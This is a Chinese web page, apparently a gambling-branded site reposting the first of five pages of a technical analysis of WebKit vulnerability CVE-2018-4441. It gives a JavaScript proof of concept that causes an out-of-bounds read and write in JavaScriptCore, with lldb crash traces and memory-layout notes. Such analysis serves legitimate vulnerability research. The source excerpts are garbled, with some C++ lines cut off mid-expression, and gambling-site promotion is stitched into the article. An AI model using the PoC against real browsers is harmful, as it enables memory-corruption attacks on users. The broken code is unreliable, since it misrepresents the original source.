太阳集团2138备用网址

欢迎来到 黑吧太阳集团2138备用网址 是业内专业的游戏平台,为你提供各式各样的精品游戏,最全的游戏项目,同时还为您提供各种游戏专题游戏攻略人气论坛。

WebKit越界读写漏洞分析与利用(CVE-2018-4441)

来源:本站整理 作者:佚名 时间:2019-02-27 TAG: 我要投稿

太阳集团2138备用网址 www.r-island.com WebKit是Apple Safari浏览器中的Web浏览器引擎,也是其他macOS、iOS和Linux系统中应用的浏览器引擎。2018年12月,该漏洞在公开披露后,被发现影响最新版本的苹果Safari浏览器。相关新闻请参见:《WebKit漏洞影响最新版Apple Safari》。
在本文中,我们将详细分析CVE-2018-4441的漏洞细节,该漏洞是由Google Project Zero的lokihardt报告的。
概述
bool JSArray::shiftCountWithArrayStorage(VM& vm, unsigned startIndex, unsigned count, ArrayStorage* storage)
{
    unsigned oldLength = storage->length();
    RELEASE_ASSERT(count hasHoles() && this->structure(vm)->holesMustForwardToPrototype(vm, this))
        || hasSparseMap()
        || shouldUseSlowPut(indexingType())) {
        return false;
    }
 
    if (!oldLength)
        return true;
 
    unsigned length = oldLength - count;
 
    storage->m_numValuesInVector -= count;
    storage->setLength(length);
 
    // [...]
根据上述代码中的注释,我认为该方法能够防止带holes的数组进入代码“storage->m_numValuesInVector -= count”。但是,此类数组实际上只能通过holesMustForwardToPrototype方法返回false来实现。除非数组上有任何索引访问器(Indexed Accessors)或原型链上的Proxy对象,否则该方法将会返回False。因此,“storage->m_numValuesInVector”可以由用户控制。
在PoC中,它将m_numValuesInVector更改为0xfffffff0,等于新的长度,使hasHoles方法返回False,从而导致JSArray::unshiftCountWithArrayStorage方法中产生越界读取和越界写入的问题。
PoC如下:
function main() {
    // [1]
    let arr = [1];
    // [2]
    arr.length = 0x100000;
    // [3]
    arr.splice(0, 0x11);
    // [4]
    arr.length = 0xfffffff0;
    // [5]
    arr.splice(0xfffffff0, 0, 1);
}
 
main();
根本原因分析
在调试器中运行PoC后,我们看到二进制文件在尝试写入到不可写内存(EXC_BAD_ACCESS)时发生崩溃:
(lldb) r
Process 3018 launched: './jsc' (x86_64)
Process 3018 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=2, address=0x18000fe638)
    frame #0: 0x0000000100af8cd3 JavaScriptCore`JSC::JSArray::unshiftCountWithArrayStorage(JSC::ExecState*, unsigned int, unsigned int, JSC::ArrayStorage*) + 675
JavaScriptCore`JSC::JSArray::unshiftCountWithArrayStorage:
->  0x100af8cd3 : movq   $0x0, 0x10(%r13,%rdi,8)
    0x100af8cdc : incq   %rcx
    0x100af8cdf : incq   %rdx
    0x100af8ce2 : jne    0x100af8cd0               ;
Target 0: (jsc) stopped.
 
(lldb) p/x $r13
(unsigned long) $4 = 0x00000010000fe6a8
 
(lldb) p/x $rdi
(unsigned long) $5 = 0x00000000fffffff0
 
(lldb) memory region $r13+($rdi*8)
[0x00000017fa800000-0x0000001802800000) ---
 
(lldb) bt
* thread #1, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=2, address=0x18000fe638)
  * frame #0: 0x0000000100af8cd3 JavaScriptCore`JSC::JSArray::unshiftCountWithArrayStorage(JSC::ExecState*, unsigned int, unsigned int, JSC::ArrayStorage*) + 675
    frame #1: 0x0000000100af8fc7 JavaScriptCore`JSC::JSArray::unshiftCountWithAnyIndexingType(JSC::ExecState*, unsigned int, unsigned int) + 215
    frame #2: 0x0000000100a6a1d5 JavaScriptCore`void JSC::unshift(JSC::ExecState*, JSC::JSObject*, unsigned int, unsigned int, unsigned int, unsigned int) + 181
    frame #3: 0x0000000100a61c4b JavaScriptCore`JSC::arrayProtoFuncSplice(JSC::ExecState*) + 4267
    [...]
更确切地说,崩溃发生在JSArray::unshiftCountWithArrayStorage的以下循环中,它尝试清除(零初始化)添加的向量元素:
// [...]
 
for (unsigned i = 0; i
startIndex($rdi)的值为0xfffffff0,向量($r13)指向0x10000fe6a8,最终造成偏移位置指向不可写的地址,从而产生崩溃。
PoC分析
// [1]
let arr = [1]
// - Object @ 0x107bb4340
// - Butterfly @ 0x10000fe6b0
// - Type: ArrayWithInt32
// - public length: 1
// - vector length: 1
首先,创建一个ArrayWithInt32类型的数组。其中可以包含任何类型的元素(例如:对象或双精度),但此时仍然没有关联的ArrayStorage或holes。WebKit项目很好的利用了不同的数组存储方法。简而言之,没有ArrayStorage的JSArray将具有以下形式的蝴蝶结构:
--==[[ JSArray
 
(lldb) x/2gx -l1 0x107bb4340
0x107bb4340: 0x0108211500000062    m_butterfly

[1] [2] [3] [4] [5]  下一页

【声明】:太阳集团2138备用网址(http://www.r-island.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@www.r-island.com,我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载